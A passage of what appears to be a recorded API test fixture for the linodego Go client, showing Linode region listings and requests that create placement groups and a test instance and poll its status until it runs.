"VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:05:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-test-1733432701621811000","region":"ap-west","placement_group_type":"anti_affinity:local","placement_group_policy":"flexible"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups method: POST response: body: '{"id": 69532, "label": "linodego-test-1733432701621811000", "region": "ap-west", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "is_compliant": true, "members": [], "migrations": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "222" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:05:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-c02714gkd9lv","root_pass":"~W|zK{W2B\u003eP1.5*RWX17m;}9r3TIlydVF;5I`31a-bJ8)F1?d\u00268)fkj8l^h0r2bG","image":"linode/debian10","placement_group":{"id":69532},"booted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68072606, "label": "go-test-ins-c02714gkd9lv", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.238.72"], "ipv6": "1234::5678/128", "image": "linode/debian10", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "da930e82eeecd0e42121a79be169fb0cd193bd7d", "has_user_data": false, "placement_group": {"migrating_to": null, "id": 69532, "label": "linodego-test-1733432701621811000", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible"}, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:05:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072606 method: GET response: body: '{"id": 68072606, "label": "go-test-ins-c02714gkd9lv", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.238.72"], "ipv6": "1234::5678/128", "image": "linode/debian10", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "da930e82eeecd0e42121a79be169fb0cd193bd7d", "has_user_data": false, "placement_group": {"migrating_to": null, "id": 69532, "label": "linodego-test-1733432701621811000", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible"}, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:05:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072606 method: GET response: body: '{"id": 68072606, "label": "go-test-ins-c02714gkd9lv", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.238.72"], "ipv6": "1234::5678/128", "image": "linode/debian10", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "da930e82eeecd0e42121a79be169fb0cd193bd7d", "has_user_data": false, "placement_group": {"migrating_to": null, "id": 69532, "label": "linodego-test-1733432701621811000", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible"}, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:05:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072606 method: GET response: body: '{"id": 68072606, "label": "go-test-ins-c02714gkd9lv", "group": "", "status": "booting", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.238.72"], "ipv6": "1234::5678/128", "image": "linode/debian10", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": true, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "da930e82eeecd0e42121a79be169fb0cd193bd7d", "has_user_data": false, "placement_group": {"migrating_to": null, "id": 69532, "label": "linodego-test-1733432701621811000", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible"}, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:05:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072606 method: GET response: body: '{"id": 68072606, "label": "go-test-ins-c02714gkd9lv", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.238.72"], "ipv6": "1234::5678/128", "image": "linode/debian10", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": true, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "da930e82eeecd0e42121a79be169fb0cd193bd7d", "has_user_data": false, "placement_group": {"migrating_to": null, "id": 69532, "label": "linodego-test-1733432701621811000", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible"}, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:06:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-test-1733432763768220000","region":"ca-central","placement_group_type":"anti_affinity:local","placement_group_policy":"flexible"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups method: POST response: body: '{"id": 69533, "label": "linodego-test-1733432763768220000", "region": "ca-central", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "is_compliant": true, "members": [], "migrations": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "225" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - 